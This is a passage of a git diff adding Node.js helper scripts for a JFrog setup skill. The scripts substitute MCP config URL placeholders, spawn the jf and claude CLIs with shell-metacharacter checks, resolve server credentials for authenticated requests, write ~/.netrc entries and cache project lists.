jfrog-substitute-mcp-placeholders.mjs [server-id]" }; + } + if (!existsSync(target)) { + return { exitCode: 3, status: "error", detail: "target file does not exist" }; + } + + let raw; + try { + raw = readFileSync(target, "utf8"); + } catch (err) { + return { exitCode: 3, status: "error", detail: `could not read ${target}: ${err.message}` }; + } + + let parsed; + try { + parsed = JSON.parse(raw); + } catch { + return { exitCode: 3, status: "error", detail: "target file is not valid JSON — refusing to modify" }; + } + + const currentUrl = jfrogMcpUrl(parsed); + + if (currentUrl === null) { + return { exitCode: 0, status: "green", detail: "no mcpServers.jfrog.url present — nothing to substitute" }; + } + + // Checked before resolving a jf server at all — an unresolvable/ambiguous + // server shouldn't turn a jfrog.url that has no placeholder into a red/ask + // result; there's nothing here that needs the server to fix. + if (!hasMcpPlaceholder(currentUrl)) { + return { exitCode: 0, status: "green", detail: "no placeholder found — nothing to substitute" }; + } + + if (!jfAvailable()) { + return { exitCode: 3, status: "error", detail: describeJfUnavailable() }; + } + const configList = jfConfigShow(); + const resolvedId = resolveJfServer(serverIdOverride, configList); + if (!resolvedId) { + if (configList.length === 0) { + return { exitCode: 1, status: "red", detail: "no jf server configured — run `jf config add --interactive`" }; + } + const ask = askServerResult("mcp-placeholder", configList); + return { exitCode: 2, status: "ask", detail: ask.detail, candidates: ask.candidates }; + } + + const jpdUrl = normalizeJpdUrl(urlForServer(configList, resolvedId)); + if (!jpdUrl) { + return { exitCode: 1, status: "red", detail: `server-id '${resolvedId}' has no url in jf config` }; + } + + const { withScheme, bare } = mcpPlaceholderRegexes(); + + // Both forms replace the full match with jpdUrl itself (which already + // carries the correct scheme) rather than preserving whatever scheme + // literally preceded the placeholder in the plugin's mcp.json — that text + // reflects the plugin's shipped template, not the real JPD's scheme. + let newUrl = currentUrl.replace(withScheme, () => jpdUrl); + newUrl = newUrl.replace(bare, () => jpdUrl); + + parsed.mcpServers.jfrog.url = newUrl; + const rewritten = JSON.stringify(parsed, null, 2) + "\n"; + + const tmp = `${target}.tmp.${process.pid}`; + try { + // "wx" refuses to follow/overwrite anything already at tmp (e.g. a + // pre-planted symlink) — same symlink-safe pattern as + // lib/project-cache.mjs's writeCachedProjectList(). + writeFileSync(tmp, rewritten, { flag: "wx" }); + // rename() replaces the target's inode wholesale, so without this the + // file would silently pick up writeFileSync's default umask-derived + // mode instead of the target's own — e.g. a 0600 mcp.json holding + // another MCP server's secrets in its env block would come back 0644 + // (world-readable) after a substitution that has nothing to do with + // that other entry. + chmodSync(tmp, statSync(target).mode & 0o777); + renameSync(tmp, target); + } catch (err) { + // A run killed between the write and the rename (Ctrl-C, OOM, harness + // timeout) leaves tmp behind; the name is only unique per PID, so the + // next run to reuse that PID would otherwise hit EEXIST here forever. + // Same cleanup as jfrog-install-jf-cli.mjs's direct-download temp write. + try { + unlinkSync(tmp); + } catch { + // Never created, already renamed, or not ours to remove. + } + return { exitCode: 3, status: "error", detail: `could not write ${target}: ${err.message}` }; + } + + return { exitCode: 0, status: "green", detail: `substituted JFROG_PLATFORM_URL/JFROG_URL placeholder with ${jpdUrl}` }; +} + +if (isMainModule(import.meta.url)) { + const TARGET = process.argv[2] || ""; + const SERVER_ID = process.argv[3] || ""; + const result = substituteMcpPlaceholders(TARGET, SERVER_ID); + emitJf({ + check: "mcp-placeholder", + status: result.status, + file: TARGET, + detail: result.detail, + ...(result.candidates ? { candidates: result.candidates } : {}), + }); + // Sets process.exitCode rather than calling process.exit() — a forced + // exit can truncate a still-draining stdout write, same reason every + // other script in this skill was already fixed this way. + process.exitCode = result.exitCode; +} diff --git a/skills/jfrog-init/scripts/lib/claude.mjs b/skills/jfrog-init/scripts/lib/claude.mjs new file mode 100644 index 0000000..6cae32d --- /dev/null +++ b/skills/jfrog-init/scripts/lib/claude.mjs @@ -0,0 +1,16 @@ +// claude.mjs — the Claude Code CLI. + +import { resolveCommand, runCommand } from "./command.mjs"; + +const CLAUDE_TIMEOUT_MS = 30_000; + +const SHELL_UNSAFE = /[&|;$<>`"'\\\s]/; + +export const claude = resolveCommand("claude"); + +export function marketplaceAdd(url) { + if (claude.shell && SHELL_UNSAFE.test(url)) { + return { ok: false, out: "jf server URL or username has a character the Windows claude shim cannot pass.\n" }; + } + return runCommand(claude, ["plugin", "marketplace", "add", url], { timeoutMs: CLAUDE_TIMEOUT_MS }); +} diff --git a/skills/jfrog-init/scripts/lib/command.mjs b/skills/jfrog-init/scripts/lib/command.mjs new file mode 100644 index 0000000..5799607 --- /dev/null +++ b/skills/jfrog-init/scripts/lib/command.mjs @@ -0,0 +1,93 @@ +// command.mjs — finds the binary behind a command name on PATH, and launches it. + +import { spawnSync } from "node:child_process"; +import { accessSync, constants as fsConstants } from "node:fs"; +import { dirname, join, delimiter } from "node:path"; + +// Prepends `dir` to the current process's PATH if it isn't already +// present. Shared by every self-heal that needs this (selfHealPath() +// in jf.mjs, jfrog-install-jf-cli.mjs's selfHealNpmPath()) so the split/ +// includes/prepend mechanics can't drift between the two — they differ +// only in *which* directory they're healing onto PATH. +export function prependToPathIfMissing(dir) { + if (!dir) return; + const dirs = (process.env.PATH || "").split(delimiter); + if (!dirs.includes(dir)) { + process.env.PATH = `${dir}${delimiter}${process.env.PATH || ""}`; + } +} + +// A pure-Node PATH scan — no external binary at all, so this can't be +// a shell-injection-shaped pattern (no `shell: true`, unlike the old +// `command -v` implementation) AND can't false-negative on a minimal +// image missing `which`/`where` (unlike a naive fix that just swapped in +// those external binaries instead). +export function commandExists(command) { + return resolveBinaryDir(command) !== ""; +} + +// Same PATH/PATHEXT scan as commandExists() and resolveBinaryDir(), but +// returns the full matched path (dir + filename, e.g. `...\jf.cmd` on +// Windows) instead of just the directory — runJf() needs the exact +// filename it matched (not just which directory it lives in) so it can +// spawn that literal path without going through a shell to resolve a bare +// "jf" via PATHEXT. +export function resolveBinaryPath(command) { + const dirs = (process.env.PATH || "").split(delimiter).filter(Boolean); + const names = + process.platform === "win32" + ? (process.env.PATHEXT || ".COM;.EXE;.BAT;.CMD").split(";").map((ext) => command + ext.toLowerCase()) + : [command]; + for (const dir of dirs) { + for (const name of names) { + const full = join(dir, name); + try { + // Windows has no POSIX executable bit to check — F_OK (exists) is + // the best available signal there; X_OK enforces "executable", + // not just "present", everywhere else. + accessSync(full, process.platform === "win32" ? fsConstants.F_OK : fsConstants.X_OK); + return full; + } catch { + // Not in this PATH entry — keep looking. + } + } + } + return ""; +} + +// Same PATH/PATHEXT scan as commandExists(), but returns the directory the +// binary actually resolves to (first hit wins, same as PATH resolution +// order) instead of a boolean. jfrog-install-jf-cli.mjs's Plan B retry +// guard needs to know WHERE the currently-resolving `jf` lives — inside +// npm's own global bin, or shadowed by something earlier on PATH (a +// Homebrew/version-manager install) — not just whether `jf` resolves at +// all. +export function resolveBinaryDir(command) { + const full = resolveBinaryPath(command); + return full ? dirname(full) : ""; +} + +// Node refuses to spawn a Windows `.cmd` shim without `shell: true` (its fix for +// CVE-2024-27980, which Node 24 flags as DEP0190), and under a shell cmd.exe +// re-splits the line, so a path with a space needs quotes. `shell` is returned +// because such a call passes args through unescaped: callers must screen theirs. +// An unfound command yields the bare name, so the spawn still ENOENTs. +export function resolveCommand(command) { + const path = resolveBinaryPath(command); + const shell = /\.(cmd|bat)$/i.test(path); + return { command, target: shell ? `"${path}"` : path || command, shell, found: path !== "" }; +} + +// Reports the outcome instead of throwing, so a caller can show the CLI's own +// message; execFileSync discards stdout on failure. A killed child leaves status +// null and both streams empty, so the reason goes into `out`. +export function runCommand({ command, target, shell }, args, { timeoutMs }) { + const result = spawnSync(target, args, { encoding: "utf8", timeout: timeoutMs, shell }); + let out = `${result.stdout || ""}${result.stderr || ""}`; + if (result.error) { + out += result.error.code === "ETIMEDOUT" + ? `${command} did not respond within ${timeoutMs / 1000}s and was terminated.\n` + : `${result.error.message}\n`; + } + return { ok: result.status === 0, out }; +} diff --git a/skills/jfrog-init/scripts/lib/jf-api.mjs b/skills/jfrog-init/scripts/lib/jf-api.mjs new file mode 100644 index 0000000..ec4d436 --- /dev/null +++ b/skills/jfrog-init/scripts/lib/jf-api.mjs @@ -0,0 +1,55 @@ +// jf-api.mjs — shared `jf api` bootstrap-call helpers for the web-login +// scripts (jfrog-login-register-session.mjs, jfrog-login-save-credentials.mjs). +// These run before any server exists in `jf config`, so every call goes +// through `jf api --url ...` rather than a configured --server-id — +// a distinct mode from lib/jf.mjs's runJf(), which always assumes a +// configured server. + +import { execFileSync } from "node:child_process"; +import { resolveCommand } from "./command.mjs"; + +// Matches jf rt ping's own network-call timeout (lib/jf.mjs's +// JF_CLI_TIMEOUT_MS) for the same reason: long enough that a slow JPD +// doesn't misreport as "unreachable". +const JF_API_TIMEOUT_MS = 30_000; + +// Parses the last "Http Status: NNN" line `jf api` prints. Returns "0" +// when no such line is present — the sentinel for "couldn't determine a +// status." +export function parseHttpStatus(text) { + const lines = String(text || "") + .split("\n") + .filter((l) => l.includes("Http Status:")); + const line = lines[lines.length - 1] || ""; + const m = line.match(/Http Status:\s*(\d+)/); + return m ? m[1] : "0"; +} + +// Runs `jf api <...args>`, returning both streams and exit info instead of +// throwing — a non-zero exit (unreachable server, a 400 on an unfinished +// login, etc) is an expected outcome the caller branches on, not a script +// bug. +export function jfApi(args) { + try { + const { target, shell } = resolveCommand("jf"); + const stdout = execFileSync(target, ["api", ...args], { + encoding: "utf8", + timeout: JF_API_TIMEOUT_MS, + shell, + // Node's execFileSync/execSync echo the child's stderr to the + // parent's own stderr live by default ("stderr by default will be + // output to the parent's stderr unless stdio is specified" per the + // Node docs) — on top of still populating err.stderr for a failed + // call. Left at the default, every `jf api` info/warn log line + // (e.g. "Http Status: NNN") would leak straight to the terminal. + // Pinning stdio here keeps this silent: nothing is inherited, + // everything is still captured. + stdio: ["ignore", "pipe", "pipe"], + }); + return { ok: true, stdout, stderr: "" }; + } catch (err) { + const stdout = err.stdout ? err.stdout.toString() : ""; + const stderr = err.stderr ? err.stderr.toString() : ""; + return { ok: false, stdout, stderr, error: err }; + } +} diff --git a/skills/jfrog-init/scripts/lib/jf.mjs b/skills/jfrog-init/scripts/lib/jf.mjs new file mode 100755 index 0000000..3a1206a --- /dev/null +++ b/skills/jfrog-init/scripts/lib/jf.mjs @@ -0,0 +1,436 @@ +// jf.mjs — shared helpers for invoking `jf` and reading its config. +// Every detector needs the same three things: `jf` findable on PATH, +// its config read without ever touching a token on disk, and the JPD +// URL normalized to its root. Centralizing them here is what let the +// individual jfrog-detect-*.mjs scripts drop the ~30 lines of PATH/curl/base64 +// boilerplate each `.sh` predecessor repeated. + +import { execFileSync } from "node:child_process"; +import { existsSync, realpathSync } from "node:fs"; +import { homedir } from "node:os"; +import { join } from "node:path"; +import { fileURLToPath } from "node:url"; + +import { prependToPathIfMissing, resolveCommand } from "./command.mjs"; + +export const JF_BIN_DIR = join(homedir(), ".jfrog", "bin"); +const JF_BIN = join(JF_BIN_DIR, process.platform === "win32" ? "jf.exe" : "jf"); + +// `import.meta.url === pathToFileURL(process.argv[1]).href` looks right for +// the standard ESM "was I run directly?" check, but Node's ESM loader +// resolves symlinks when computing import.meta.url while pathToFileURL(argv[1]) +// does not — so the comparison silently fails whenever the invoking path +// passes through a symlink (exactly how this skill is installed locally, via +// dev/dev-symlinks.sh). Resolving both sides through realpathSync fixes it. +export function isMainModule(moduleUrl) { + if (!process.argv[1]) return false; + try { + return fileURLToPath(moduleUrl) === realpathSync(process.argv[1]); + } catch { + return false; + } +} + +// Makes `jf` findable even when the current process's PATH doesn't +// include ~/.jfrog/bin — a fixed-location fallback for any `jf` install +// that landed there by some other means (e.g. a leftover from before this +// skill switched to npm, or a manual install following JFrog's own curl +// docs). jfrog-install-jf-cli.mjs itself never writes there or edits PATH. +export function selfHealPath() { + if (existsSync(JF_BIN)) prependToPathIfMissing(JF_BIN_DIR); +} + +// Does NOT export JFROG_CLI_USER_AGENT, unlike the base `jfrog` skill's +// documented "session-global invariant" (see SKILL.md's Prerequisites). +// That skill's scripts/check-environment.mjs — the only thing that +// produces the UA string — is now pure Node too, but it still only emits +// a UA once `jf` is ALREADY installed at its minimum version. This +// skill's early steps exist specifically to get `jf` installed in the +// first place, before that precondition holds — calling it here would +// hit that same-version gate, not a scripting-language mismatch (the +// original reason this skill didn't reuse it, back when it was still a +// `jq`-dependent, GNU/BSD-`date`-branching `.sh` script). Telemetry-only +// impact (not functional correctness): `jf` calls from here just go +// unattributed in JFrog's own usage analytics. +// The default for runJf()'s local/fast operations (--version, config +// show/export) — without one, a wedged binary hangs the whole walk with +// no recovery, unlike every network call in this file (all of which use +// AbortSignal.timeout or an explicit timeout already). jfrog-detect-server-ping.mjs's +// own `jf rt ping` call (genuinely network-bound) overrides this via +// runJf()'s `timeoutMs` option instead of using this default. Matches +// jf rt ping's own 30s rather than a shorter value — `jf config +// export`/`config show` can trigger an OS credential-store prompt (e.g. +// macOS Keychain access confirmation) that the user takes a few seconds +// to notice and click, and a too-short timeout would kill that valid, +// still-in-progress prompt and misreport working credentials as broken. +export const JF_CLI_TIMEOUT_MS = 30_000; + +// The one place every `jf` spawn goes through. `timeoutMs` overrides the +// local-operation default for a network-bound caller. +export function runJf(args, { timeoutMs = JF_CLI_TIMEOUT_MS } = {}) { + selfHealPath(); + const { target, shell } = resolveCommand("jf"); + // Under `shell: true`, cmd.exe would read a metacharacter as a separator. + if (shell) { + const unsafe = args.find((a) => /[&|;$<>`"'\\\n]/.test(a)); + if (unsafe !== undefined) { + throw new Error(`runJf: refusing shell-unsafe argument: ${JSON.stringify(unsafe)}`); + } + } + // Without this, execFileSync forwards jf's stderr to ours. + return execFileSync(target, args, { + encoding: "utf8", + timeout: timeoutMs, + shell, + stdio: ["ignore", "pipe", "pipe"], + }); +} + +// ---- in-process memoization ---- +// jfAvailable() / jfConfigShow() / jfConfigExportResult() are each called +// independently by multiple detectors (jfrog-resolve-jf-server.mjs's +// resolveServerOrEmit(), jfrog-detect-project.mjs, +// jfrog-detect-catalog-runtime.mjs) — when jfrog-detect-all.mjs runs all +// of them in-process for one walk, that's several redundant `jf` +// subprocess spawns, and for jfConfigExportResult specifically, redundant OS +// credential-store prompts (e.g. a second macOS Keychain confirmation), +// for data that cannot change mid-walk: none of these read-only scripts +// ever mutate jf's install state or its config. Memoized here, at the one +// shared module every caller already imports through, rather than +// duplicated in each caller. +// +// jfrog-install-jf-cli.mjs is the one exception — it deliberately +// installs/updates `jf` and must see the result of that within the same +// process, so it calls invalidateJfAvailableCache() right after each +// install step that could have changed the answer. +let jfAvailableCache; +// "missing" (ENOENT — not on PATH) vs "broken" (on PATH but hung/timed out +// or otherwise failed to run) — same distinction jfrog-detect-jf-cli.mjs +// makes for its own direct check. Callers that only need jfAvailable()'s +// boolean were previously reporting a hung/corrupted `jf` as "not +// installed", which sends the user to reinstall from scratch instead of +// just reinstalling the existing (corrupted) binary. +let jfUnavailableReason; +let jfConfigShowCache; +const jfConfigExportCache = new Map(); + +export function jfAvailable() { + if (jfAvailableCache === undefined) { + selfHealPath(); + try { + runJf(["--version"]); + jfAvailableCache = true; + jfUnavailableReason = undefined; + } catch (err) { + jfAvailableCache = false; + jfUnavailableReason = err && err.code === "ENOENT" ? "missing" : "broken"; + } + } + return jfAvailableCache; +} + +// For callers that gate on jfAvailable() and need a user-facing detail +// string for the false case — routes "broken" to the same reinstall +// wording jfrog-detect-jf-cli.mjs uses instead of misreporting a +// hung/corrupted binary as simply missing. Only meaningful after +// jfAvailable() has run at least once, which every caller already does to +// get the boolean itself. +export function describeJfUnavailable() { + return jfUnavailableReason === "broken" + ? "jf is on PATH but did not respond in time or failed to run (may be corrupted or hung) — reinstalling should fix this." + : "jf not installed"; +} + +export function invalidateJfAvailableCache() { + jfAvailableCache = undefined; + jfUnavailableReason = undefined; +} + +// Lets jfrog-detect-jf-cli.mjs's detectJfCli() — which needs its own +// `jf --version` call anyway to capture the version string for its +// `detail` field, with its own richer missing/broken/timed-out +// distinction — hand its already-obtained result to this cache instead +// of jfAvailable() spawning a second, independent `jf --version` later +// in the same walk. Without this, detectJfCli() and the first later +// jfAvailable() call (e.g. from jfrog-detect-jf-config.mjs) each spawn +// `jf` separately; if `jf` is flaky, the two calls can disagree and +// report self-contradictory green/red status for the same binary in one +// walk. A no-op once jfAvailable() has already populated the cache +// itself. +export function seedJfAvailable(available, reason) { + if (jfAvailableCache !== undefined) return; + jfAvailableCache = available; + jfUnavailableReason = available ? undefined : reason; +} + +export function jfConfigShow() { + if (jfConfigShowCache === undefined) { + try { + const out = runJf(["config", "show", "--format=json"]); + const parsed = JSON.parse(out); + jfConfigShowCache = Array.isArray(parsed) ? parsed : []; + } catch { + jfConfigShowCache = []; + } + } + return jfConfigShowCache; +} + +// A server's config from `jf config export`, or null. `timedOut` tells a +// wedged `jf` from an unconfigured one. +export function jfConfigExportResult(serverId) { + const cacheKey = serverId || ""; + if (!jfConfigExportCache.has(cacheKey)) { + const result = { cfg: null, timedOut: false }; + try { + const args = ["config", "export"]; + if (serverId) args.push(serverId); + const lines = runJf(args).split("\n").map((l) => l.trim()).filter(Boolean); + if (lines.length) result.cfg = JSON.parse(Buffer.from(lines[lines.length - 1], "base64").toString("utf8")); + } catch (err) { + result.timedOut = err.code === "ETIMEDOUT"; + } + jfConfigExportCache.set(cacheKey, result); + } + return jfConfigExportCache.get(cacheKey); +} + +const HTTP_SCHEME = /^https?:\/\//i; + +export function normalizeJpdUrl(url) { + if (!url) return ""; + let u = url.replace(/\/+$/, ""); + // Strip trailing /artifactory and /ui repeatedly — a URL can end in + // both (e.g. ".../artifactory/ui"), and a single non-repeated pass + // would leave the other suffix in place. + let stripped = true; + while (stripped) { + stripped = false; + for (const suffix of ["/artifactory", "/ui"]) { + if (u.endsWith(suffix)) { + u = u.slice(0, -suffix.length); + stripped = true; + } + } + } + if (!HTTP_SCHEME.test(u)) u = `https://${u}`; + return u; +} + +// A configured JPD URL, parsed, or null. +export function parseJpdUrl(raw) { + if (!HTTP_SCHEME.test(raw)) return null; + try { + return new URL(normalizeJpdUrl(raw)); + } catch { + return null; + } +} + +// Resolves URL + credentials (bearer token, falling back to user+password) +// for a server from `jf config export`. Returns null if nothing usable is +// configured. Credentials only ever live in the returned object for the +// duration of the caller's fetch — never logged, never written to disk. +export function resolveCreds(serverId) { + const { cfg } = jfConfigExportResult(serverId); + if (!cfg) return null; + // Same url/artifactoryUrl naming ambiguity urlForServer() falls back on + // for `jf config show` — `jf config export`'s JSON isn't guaranteed to + // use the same field name across jf CLI versions. + const rawUrl = (typeof cfg.url === "string" && cfg.url) || (typeof cfg.artifactoryUrl === "string" && cfg.artifactoryUrl) || ""; + const baseUrl = normalizeJpdUrl(rawUrl); + const token = typeof cfg.accessToken === "string" ? cfg.accessToken : ""; + const user = typeof cfg.user === "string" ? cfg.user : ""; + const password = typeof cfg.password === "string" ? cfg.password : ""; + if (!baseUrl || (!token && !(user && password))) return null; + return { baseUrl, token, user, password }; +} + +// The username behind a server's token, from a subject like +// "jfac@/users/". Empty when unavailable. +export function tokenUsername(serverId = "") { + const args = ["api"]; + if (serverId) args.push(`--server-id=${serverId}`); + args.push("/access/api/v1/tokens/me"); + try { + const { subject = "" } = JSON.parse(runJf(args).trim() || "{}"); + return /\/users\/([^/]+)$/.exec(subject)?.[1] || ""; + } catch { + return ""; + } +} + +export function authHeader(creds) { + if (creds.token) return { Authorization: `Bearer ${creds.token}` }; + return { Authorization: `Basic ${Buffer.from(`${creds.user}:${creds.password}`).toString("base64")}` }; +} + +const AUTHED_FETCH_TIMEOUT_MS = 15_000; +// A same-origin chain (e.g. an http->https upgrade followed by a reverse +// proxy's canonical-host redirect) can span more than one hop — bounded +// here rather than looped forever in case of a same-origin redirect cycle. +const MAX_SAME_ORIGIN_REDIRECTS = 5; + +// Authenticated GET against `${creds.baseUrl}${path}`, shared by every +// detector that hits a JPD REST endpoint. Body is parsed as JSON when +// possible (null if the response isn't JSON or has no body); code 0 +// means the request itself failed (connection error, timeout, etc). +export async function authedFetch(creds, path) { + try { + const headers = { Accept: "application/json", ...authHeader(creds) }; + let url = `${creds.baseUrl}${path}`; + let res = await fetch(url, { + headers, + signal: AbortSignal.timeout(AUTHED_FETCH_TIMEOUT_MS), + // Manual redirect handling: a 3xx to a DIFFERENT origin (e.g. a + // captive portal or an unrelated login page) must surface as its + // real status code, not be silently followed to a page that then + // answers 200 for something that was never the JPD endpoint we + // asked for. A same-origin 3xx (e.g. the JPD's own reverse proxy + // normalizing http->https) is followed below instead, since that's + // still the same server answering — see the follow-up loop. + redirect: "manual", + }); + for (let hop = 0; hop < MAX_SAME_ORIGIN_REDIRECTS && res.status >= 300 && res.status < 400; hop++) { + const location = res.headers.get("location"); + if (!location) break; + const current = new URL(url); + const target = new URL(location, url); + // URL.origin includes the scheme, so a plain same-origin check would + // treat a same-host http->https upgrade as cross-origin and refuse to + // follow it — exactly the case this loop exists for. The check must + // still be asymmetric: same host AND port, with the scheme either + // unchanged or upgrading to https. A same-host https->http redirect is + // never followed — that would replay the Authorization header over + // plaintext. + const sameHostPort = target.hostname === current.hostname && target.port === current.port; + const schemeOk = target.protocol === current.protocol || target.protocol === "https:"; + if (!sameHostPort || !schemeOk) break; + url = target.href; + res = await fetch(url, { headers, signal: AbortSignal.timeout(AUTHED_FETCH_TIMEOUT_MS), redirect: "manual" }); + } + let body = null; + try { + body = await res.json(); + } catch { + body = null; + } + return { code: res.status, body }; + } catch { + return { code: 0, body: null }; + } +} + +// Anonymous GET with no auth, manual redirects, 10s timeout — the +// reachability probe shared by every detector that needs to know whether a +// URL is up before trying anything authenticated against it +// (jfrog-detect-server-ping.mjs, jfrog-detect-catalog-runtime.mjs's Part +// A). Never throws: any connection failure (DNS, TLS, timeout, refused) +// collapses to "000" so callers can treat that one string as the uniform +// "unreachable" case. +export async function anonymousFetchStatus(endpoint) { + try { + const res = await fetch(endpoint, { redirect: "manual", signal: AbortSignal.timeout(10_000) }); + return String(res.status); + } catch { + return "000"; + } +} + +// Node's built-in fetch does not read HTTPS_PROXY/HTTP_PROXY, so telling +// the user to set them wouldn't fix anything here — point at the network +// itself instead. Shared so the wording can't drift between the call +// sites that append it to a "connection failed" detail on a "000" status. +export const NETWORK_UNREACHABLE_HINT = " (on a corporate network or VPN? this JPD may be unreachable from your current network)"; + +export function defaultServerId(configList) { + const hit = configList.find((s) => s && s.isDefault === true); + return hit && typeof hit.serverId === "string" ? hit.serverId : ""; +} + +export function urlForServer(configList, serverId) { + const hit = configList.find((s) => s && s.serverId === serverId); + if (!hit) return ""; + return (typeof hit.url === "string" && hit.url) || (typeof hit.artifactoryUrl === "string" && hit.artifactoryUrl) || ""; +} + +// The "ask which server" result shape every detector emits when +// resolveJfServer() can't pick one — multiple servers configured, none +// marked isDefault. Shared so the wording and candidates derivation can't +// drift apart between the detectors that all hit this same condition +// (jfrog-detect-catalog-runtime.mjs, jfrog-detect-project.mjs, +// jfrog-detect-server-ping.mjs). Exit code 2 is the caller's own +// responsibility, same as every other emit(). +export function askServerResult(check, configList) { + return { + check, + status: "ask", + // `unresolved: "server"` lets a caller tell this apart from a + // check-specific ask (e.g. jfrog-detect-project.mjs's own "no project + // input" ask) even though both are `{check, status: "ask"}` — without + // it, a caller keying off `check` alone (e.g. the Step 6 project + // picker) would misroute this into asking about the wrong thing. See + // references/project-picker.md's discriminator note. + unresolved: "server", + detail: "multiple jf servers configured, none marked isDefault — pass a server-id or set JF_SERVER_ID", + candidates: configList.map((s) => s.serverId).filter(Boolean), + }; +} + +// The full "no server resolvable" fallback every detector that takes a +// [server-id] falls into when resolveJfServer() returns nothing: either +// zero servers configured (red, blocking) or multiple with none marked +// default (ask, non-blocking). Shared — not just askServerResult() above +// — so the message/exit-code pairing for this one condition can't drift +// between the detectors that all hit it (jfrog-detect-catalog-runtime.mjs, +// jfrog-detect-project.mjs, jfrog-detect-server-ping.mjs). Emits and +// returns the exit code the caller should set and return with. +export function emitNoServerResolved(check, configList) { + if (configList.length === 0) { + emit({ check, status: "red", detail: "no jf server configured — run `jf config add --interactive`" }); + return 1; + } + emit(askServerResult(check, configList)); + return 2; +} + +export function emit(obj) { + process.stdout.write(JSON.stringify(obj) + "\n"); +} + +// The four supported placeholder forms — `${VAR}` or bare `$VAR` followed +// by a non-identifier character or end of string — and nothing looser. +// Independently-optional braces (`\{?...\}?`) would also match malformed +// or unrelated text like `${JFROG_URL_SUFFIX}` or an unclosed `${JFROG_URL`; +// the `\b` after the bare form and the exact `\{...\}` pairing rule both +// out. Shared by the detector (jfrog-detect-jfrog-mcp.mjs) and the +// substituter (jfrog-substitute-mcp-placeholders.mjs) so "is there a +// placeholder?" and "replace the placeholder" agree on what counts as one. +const MCP_PLACEHOLDER_PATTERN = "\\$\\{(?:JFROG_PLATFORM_URL|JFROG_URL)\\}|\\$(?:JFROG_PLATFORM_URL|JFROG_URL)\\b"; + +export function hasMcpPlaceholder(text) { + return new RegExp(MCP_PLACEHOLDER_PATTERN).test(text); +} + +// Shared "is `mcpServers.jfrog` a valid object, and what's its `.url`?" +// check — used by the detector (jfrog-detect-jfrog-mcp.mjs, to decide if +// there's a url worth validating) and the substituter +// (jfrog-substitute-mcp-placeholders.mjs, to decide if there's a url worth +// rewriting) so the two agree on what counts as a valid entry, the same +// way MCP_PLACEHOLDER_PATTERN keeps "is there a placeholder?" in sync. +// Returns the url string (possibly empty) on a valid entry, null otherwise. +export function jfrogMcpUrl(parsed) { + const entry = parsed?.mcpServers?.jfrog; + if (entry === null || typeof entry !== "object" || Array.isArray(entry)) return null; + return typeof entry.url === "string" ? entry.url : null; +} + +// Fresh RegExp instances every call — a shared module-level `g`-flagged +// regex would carry `lastIndex` state across calls and silently miss +// matches on reuse. +export function mcpPlaceholderRegexes() { + return { + withScheme: new RegExp(`(https?:\\/\\/)(?:${MCP_PLACEHOLDER_PATTERN})`, "g"), + bare: new RegExp(MCP_PLACEHOLDER_PATTERN, "g"), + }; +} diff --git a/skills/jfrog-init/scripts/lib/netrc.mjs b/skills/jfrog-init/scripts/lib/netrc.mjs new file mode 100644 index 0000000..ae29425 --- /dev/null +++ b/skills/jfrog-init/scripts/lib/netrc.mjs @@ -0,0 +1,58 @@ +// netrc.mjs — writes one `machine` block into ~/.netrc, keeping other hosts. + +import { readFileSync, writeFileSync, renameSync, rmSync } from "node:fs"; +import { homedir } from "node:os"; +import { join } from "node:path"; + +// curl checks HOME before the platform default. +export const NETRC = join(process.env.HOME || homedir(), ".netrc"); + +// Inside a macdef body, lines are just text until a blank one ends it. +function nextMode(mode, keyword, value, host) { + if (mode === "macro") return keyword === "" ? "keep" : "macro"; + if (keyword === "macdef") return "macro"; + if (keyword === "machine") return value === host ? "drop" : "keep"; + if (keyword === "default") return "keep"; + return mode; +} + +// Returns `content` with `host`'s entry removed and every other host untouched. +export function dropNetrcHost(content, host) { + const kept = []; + let mode = "keep"; + for (const line of content.split("\n")) { + const [keyword, value] = line.trim().toLowerCase().split(/\s+/, 2); + mode = nextMode(mode, keyword, value, host); + if (mode !== "drop") kept.push(line); + } + return kept.join("\n"); +} + +// Saves `content` as ~/.netrc. +function replaceNetrc(content) { + const tmp = `${NETRC}.${process.pid}.${Date.now()}.tmp`; + try { + writeFileSync(tmp, content, { mode: 0o600, flag: "wx" }); + renameSync(tmp, NETRC); + } catch (err) { + rmSync(tmp, { force: true }); + return { ok: false, error: `could not write ${NETRC}: ${err.message}` }; + } + return { ok: true }; +} + +// Upserts `host`'s credentials as the first entry curl will match. +export function writeNetrc(host, login, token) { + for (const [keyword, value] of Object.entries({ machine: host, login, password: token })) { + if (!/^\S+$/.test(value ?? "")) return { ok: false, error: `invalid netrc ${keyword}` }; + } + + let existing = ""; + try { + existing = readFileSync(NETRC, "utf8"); + } catch (err) { + if (err.code !== "ENOENT") return { ok: false, error: `could not read ${NETRC}: ${err.message}` }; + } + const block = `machine ${host}\n login ${login}\n password ${token}`; + return replaceNetrc(`${[block, dropNetrcHost(existing, host).trim()].filter(Boolean).join("\n\n")}\n`); +} diff --git a/skills/jfrog-init/scripts/lib/project-cache.mjs b/skills/jfrog-init/scripts/lib/project-cache.mjs new file mode 100644 index 0000000..389da54 --- /dev/null +++ b/skills/jfrog-init/scripts/lib/project-cache.mjs @@ -0,0 +1,92 @@ +#!/usr/bin/env node +// project-cache.mjs — short-lived on-disk cache of a server's enumerated +// project list (GET /access/api/v1/projects). The interactive project +// step (SKILL.md Step 6) re-invokes jfrog-detect-project.mjs once per user +// attempt within the same walk (typed guess, "Other" retry, picking a +// suggestion, ...); without this cache each attempt re-hits the network +// to re-enumerate, even though matching/similarity search against the +// list is already done offline (lib/projects.mjs). Only the enumeration +// call itself needs caching — the per-key existence probe in +// jfrog-detect-project.mjs must stay live, since it's the access/ACL check of +// record. +// +// Keyed by server ID, lives in the OS temp dir (contents are public +// project metadata — key/display name — never a secret), and expires +// after TTL_MS so a walk resumed later doesn't trust a stale list. + +import { readFileSync, writeFileSync, renameSync } from "node:fs"; +import { createHash } from "node:crypto"; +import { tmpdir } from "node:os"; +import { join } from "node:path"; + +const TTL_MS = 5 * 60 * 1000; + +// A fingerprint of the credentials used to enumerate — never the raw +// token/password, just enough to detect when the identity behind a +// server-id changes (e.g. the user re-runs `jf config add --interactive` +// with a different account, or repoints the same server-id at a +// different JPD). Otherwise a stale list fetched under the old identity +// could be served to the new one. +// +// Stored INSIDE the cache file (protected by its 0600 mode) rather than +// in the filename — a filename embedding even a truncated hash of +// credential material is visible to any local user via a directory +// listing on a shared machine (e.g. `ls /tmp`), which lets someone who +// already holds (or is guessing) a candidate credential confirm a match +// without ever needing read access to the file itself. The 0600 mode +// only protects contents, not the filename, so the fingerprint has to +// live where that protection actually applies. +function fingerprint(creds) { + return 